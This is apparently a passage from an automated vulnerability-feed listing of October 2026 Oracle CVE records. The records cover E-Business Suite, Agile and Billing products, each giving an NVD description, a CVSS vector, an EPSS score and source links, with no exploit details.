CVSS 8.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101758).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101758&date=2026-10-25).
Sources:
NVD CVE-2026-101758: https://nvd.nist.gov/vuln/detail/CVE-2026-101758
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101758&date=2026-10-25
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: BRM Server).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Billing and Revenue Management accessible data as well as  unauthorized update, insert or delete access to some of Oracle Communications Billing and Revenue Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).
https://kevwire.com/record/CVE-2026-101757
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges). (Oct 20, 2026).
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101757).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101757&date=2026-10-25).
Sources:
NVD CVE-2026-101757: https://nvd.nist.gov/vuln/detail/CVE-2026-101757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101757&date=2026-10-25
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: DB Privileges).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Application Object Library executes to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).
https://kevwire.com/record/CVE-2026-101746
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install). (Oct 20, 2026).
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).   The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).
CVSS 7.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101746).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101746&date=2026-10-25).
Sources:
NVD CVE-2026-101746: https://nvd.nist.gov/vuln/detail/CVE-2026-101746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101746&date=2026-10-25
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Install).   The supported version that is affected is 6.2.1. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).
https://kevwire.com/record/CVE-2026-101744
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). (Oct 20, 2026).
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Engineering Data Management.  While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).
CVSS 8.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101744).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101744&date=2026-10-25).
Sources:
NVD CVE-2026-101744: https://nvd.nist.gov/vuln/detail/CVE-2026-101744
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101744&date=2026-10-25
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile Engineering Data Management.  While the vulnerability is in Oracle Agile Engineering Data Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Engineering Data Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Engineering Data Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).
https://kevwire.com/record/CVE-2026-101742
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics). (Oct 20, 2026).
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101742).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101742&date=2026-10-25).
Sources:
NVD CVE-2026-101742: https://nvd.nist.gov/vuln/detail/CVE-2026-101742
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101742&date=2026-10-25
Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Diagnostics).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager.  Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).
https://kevwire.com/record/CVE-2026-101739
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface). (Oct 20, 2026).
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101739).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101739&date=2026-10-25).
Sources:
NVD CVE-2026-101739: https://nvd.nist.gov/vuln/detail/CVE-2026-101739
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101739&date=2026-10-25
Vulnerability in the Oracle Agile Engineering Data Management product of Oracle Supply Chain (component: Engineering Communication Interface).   The supported version that is affected is 6.2.1. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile Engineering Data Management executes to compromise Oracle Agile Engineering Data Management.  Successful attacks of this vulnerability can result in takeover of Oracle Agile Engineering Data Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).
https://kevwire.com/record/CVE-2026-101719
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server). (Oct 20, 2026).
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).   The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101719).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101719&date=2026-10-25).
Sources:
NVD CVE-2026-101719: https://nvd.nist.gov/vuln/detail/CVE-2026-101719
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101719&date=2026-10-25
Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server).   The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Agile PLM. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101712
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101712).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101712&date=2026-10-25).
Sources:
NVD CVE-2026-101712: https://nvd.nist.gov/vuln/detail/CVE-2026-101712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101712&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101708
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101708).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101708&date=2026-10-25).
Sources:
NVD CVE-2026-101708: https://nvd.nist.gov/vuln/detail/CVE-2026-101708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101708&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).
https://kevwire.com/record/CVE-2026-101707
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues). (Oct 20, 2026).
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Concurrent Processing accessible data as well as  unauthorized access to critical data or complete access to all Oracle Concurrent Processing accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101707).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101707&date=2026-10-25).
Sources:
NVD CVE-2026-101707: https://nvd.nist.gov/vuln/detail/CVE-2026-101707
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101707&date=2026-10-25
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other Issues).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Concurrent Processing accessible data as well as  unauthorized access to critical data or complete access to all Oracle Concurrent Processing accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).
https://kevwire.com/record/CVE-2026-101705
Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary). (Oct 20, 2026).
Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Common Applications.  While the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications accessible data as well as  unauthorized access to critical data or complete access to all Oracle Common Applications accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101705).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101705&date=2026-10-25).
Sources:
NVD CVE-2026-101705: https://nvd.nist.gov/vuln/detail/CVE-2026-101705
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101705&date=2026-10-25
Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: Role Summary).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Common Applications.  While the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Common Applications accessible data as well as  unauthorized access to critical data or complete access to all Oracle Common Applications accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).
https://kevwire.com/record/CVE-2026-101704
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other). (Oct 20, 2026).
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  While the vulnerability is in Oracle Concurrent Processing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
CVSS 8.2 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101704).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101704&date=2026-10-25).
Sources:
NVD CVE-2026-101704: https://nvd.nist.gov/vuln/detail/CVE-2026-101704
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101704&date=2026-10-25
Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: Other).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Concurrent Processing executes to compromise Oracle Concurrent Processing.  While the vulnerability is in Oracle Concurrent Processing, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 8.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101703
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101703).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101703&date=2026-10-25).
Sources:
NVD CVE-2026-101703: https://nvd.nist.gov/vuln/detail/CVE-2026-101703
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101703&date=2026-10-25
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).
https://kevwire.com/record/CVE-2026-101700
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101700).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101700&date=2026-10-25).
Sources:
NVD CVE-2026-101700: https://nvd.nist.gov/vuln/detail/CVE-2026-101700
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101700&date=2026-10-25
Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library.  Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents).
https://kevwire.com/record/CVE-2026-101699
